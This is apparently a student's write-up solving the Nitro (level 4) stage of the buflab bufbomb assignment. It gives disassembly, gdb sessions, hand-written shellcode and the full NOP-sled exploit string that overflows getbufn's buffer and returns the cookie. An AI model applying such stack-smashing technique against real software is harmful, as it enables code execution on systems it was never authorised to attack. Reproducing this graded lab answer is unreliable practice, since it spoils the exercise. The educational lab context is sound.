In the previous code that calls getbuf, we have incorporated features that
stabilize the stack, so that the posititon of getbuf's stack frame will be
consistent between runs. It is possible for you to write an exploit string
knowing the exact starting address of buf. However, for this level,
we have gone the opposite direction, making the stack positions even less
stable than they normally are.
In particular, The job is to supply an exploit string that will cause getbufn
to return my cookie back to test, rather than the value 1. It makes program
to go "KABOOM!, and exploit code should set my cookie as the return value,
restore any corrupted state, push the correct return location on the stack,
and execute a ret instruction to really return to testn.
/* Buffer size for getbufn */
#define KABOOM_BUFFER_SIZE 512When you run bufbomb with the command line flag -n, it will run in "Nitro".
mode. Rather calling the function getbuf, the program calls a slightly different function
getbufn:
int getbufn()
{
char buf[KABOOM_BUFFER_SIZE];
Gets(buf);
return 1;
}This function is similar to getbuf, except that it has a buffer of 512
characters. You will need this additional space to create a reliable exploit.
The code that calls getbufn first allocates a random amount of storage on the
stack (using library function alloca) that ranges between 0 and 255 bytes. The
KABOOM_BUFFER_SIZE = 512. So we need to have at least 509 bytes to make
them overflow.
Furthermore, the trick is to make use of the nop instruction instead of using
61 that I use at level 0->3. The reason is that it is encoded with a single byte
(code 0x90). I can place a long sequence of these at the beginning of my exploit
code so that my code will work correctly if the initial jump lands anywhere
within the sequence.
--> Therefore, we need 0x90 x 109 bytes
Type command:
Testn:
0x08048be6 <+0>: push %ebp
0x08048be7 <+1>: mov %esp,%ebp
0x08048be9 <+3>: push %ebx
0x08048bea <+4>: sub $0x24,%esp
0x08048bed <+7>: call 0x8048b30 <uniqueval>
0x08048bf2 <+12>: mov %eax,-0xc(%ebp)
0x08048bf5 <+15>: call 0x80490b0 <getbufn>
0x08048bfa <+20>: mov %eax,%ebx
0x08048bfc <+22>: call 0x8048b30 <uniqueval>
0x08048c01 <+27>: mov -0xc(%ebp),%edx
0x08048c04 <+30>: cmp %edx,%eax
0x08048c06 <+32>: je 0x8048c16 <testn+48>
0x08048c08 <+34>: movl $0x804a0a8,(%esp)
0x08048c0f <+41>: call 0x8048940 <puts@plt>
0x08048c14 <+46>: jmp 0x8048c4c <testn+102>
0x08048c16 <+48>: cmp 0x804c1e4,%ebx
0x08048c1c <+54>: jne 0x8048c3c <testn+86>
0x08048c1e <+56>: mov %ebx,0x4(%esp)
0x08048c22 <+60>: movl $0x804a0d4,(%esp)
0x08048c29 <+67>: call 0x80488e0 <printf@plt>
0x08048c2e <+72>: movl $0x4,(%esp)
0x08048c35 <+79>: call 0x80490e8 <validate>
0x08048c3a <+84>: jmp 0x8048c4c <testn+102>
0x08048c3c <+86>: mov %ebx,0x4(%esp)
0x08048c40 <+90>: movl $0x8049ef7,(%esp)
0x08048c47 <+97>: call 0x80488e0 <printf@plt>
0x08048c4c <+102>: add $0x24,%esp
0x08048c4f <+105>: pop %ebx
0x08048c50 <+106>: pop %ebp
0x08048c51 <+107>: ret Getbufn:
(gdb) disassemble getbufn
Dump of assembler code for function getbufn:
0x080490b0 <+0>: push %ebp
0x080490b1 <+1>: mov %esp,%ebp
0x080490b3 <+3>: sub $0x218,%esp
0x080490b9 <+9>: lea -0x208(%ebp),%eax
0x080490bf <+15>: mov %eax,(%esp)
0x080490c2 <+18>: call 0x8048b4a <Gets>
0x080490c7 <+23>: mov $0x1,%eax
0x080490cc <+28>: leave
0x080490cd <+29>: ret - Restore the stack
One of the most important note is we need to maintain the stack because when
you run in
Nitromode, BUFBOMB requires you to supply string 5 times, and it will executegetbufn5 times. So, before callgetbufnit has 2 instructions making the change of stack.
0x08048be9 <+3>: push %ebx
0x08048bea <+4>: sub $0x24,%espSo, we need to restore stack by 8 bytes by instrucsions leal 0x28(%esp),%ebp
- Return my coorkie and return address for EIP
0x08048bf5 <+15>: call 0x80490b0 <getbufn>
0x08048bfa <+20>: mov %eax,%ebxAfter getbufn, we want to run the instruction at 0x08048bfa. Therefore, the shellcode
has content:
asm_NitroGlycerin.s:
0: 8d 6c 24 28 lea 0x28(%esp),%ebp
4: b8 fd 4c 9b 2b mov $0x2b9b4cfd,%eax
9: 68 fa 8b 04 08 push $0x8048bfa
e: c3 ret Type command:
danghai@babbage:~/buflab-handout$ gdb bufbomb
(gdb) break *getbufn
(gdb) run -nu danghai
Breakpoint 1, 0x080490b0 in getbufn ()
(gdb) print /x ($ebp - 0x208)
$1 = 0x55682ef8 ================================> 1st Address
(gdb) cont
Continuing.
Type string:test
Dud: getbufn returned 0x1
Better luck next time
Breakpoint 1, 0x080490b0 in getbufn ()
(gdb) print /x ($ebp - 0x208)
$2 = 0x55682ec8 =================================> 2nd Address
(gdb) cont
Continuing.
Type string:test
Dud: getbufn returned 0x1
Better luck next time
Breakpoint 1, 0x080490b0 in getbufn ()
(gdb) print /x ($ebp - 0x208)
$3 = 0x55682f38 =================================> 3rd Address
(gdb) cont
Continuing.
Type string:test
Dud: getbufn returned 0x1
Better luck next time
Breakpoint 1, 0x080490b0 in getbufn ()
(gdb) print /x ($ebp - 0x208)
$4 = 0x55682e88 =================================> 4th Address
(gdb) cont
Continuing.
Type string:test
Dud: getbufn returned 0x1
Better luck next time
Breakpoint 1, 0x080490b0 in getbufn ()
(gdb) print /x ($ebp - 0x208)
$5 = 0x55682eb8 =================================> 5th Address
(gdb) cont
Continuing.
Type string:test
Dud: getbufn returned 0x1
Better luck next time
[Inferior 1 (process 3412) exited normally]
(gdb)
So we have 5 address:
$1 = 0x55682ef8
$2 = 0x55682ec8
$3 = 0x55682f38 // Maximum address
$4 = 0x55682e88
$5 = 0x55682eb8
Therefore, maximum address: 0x55682f38 --> 38 2f 68 55 (Little Endian)
509 bytes NOP + Shellcode + Maximum stack frame
Note: We need to use the "-n" command-line flag in order to run this stage, as
well as creating the raw file.
danghai@babbage:~/buflab-handout$ perl -e 'print "90 "x509, "8d 6c 24 28 b8 fd 4c 9b 2b 68 fa 8b 04 08 c3 ","38 2f 68 55"' > hex_level4
danghai@babbage:~/buflab-handout$ ./hex2raw -n <hex_level4> raw_level4
danghai@babbage:~/buflab-handout$ ./bufbomb -u danghai -n < raw_level4
!OMG, It works:
Userid: danghai
Cookie: 0x2b9b4cfd
Type string:KABOOM!: getbufn returned 0x2b9b4cfd
Keep going
Type string:KABOOM!: getbufn returned 0x2b9b4cfd
Keep going
Type string:KABOOM!: getbufn returned 0x2b9b4cfd
Keep going
Type string:KABOOM!: getbufn returned 0x2b9b4cfd
Keep going
Type string:KABOOM!: getbufn returned 0x2b9b4cfd
VALID
NICE JOB!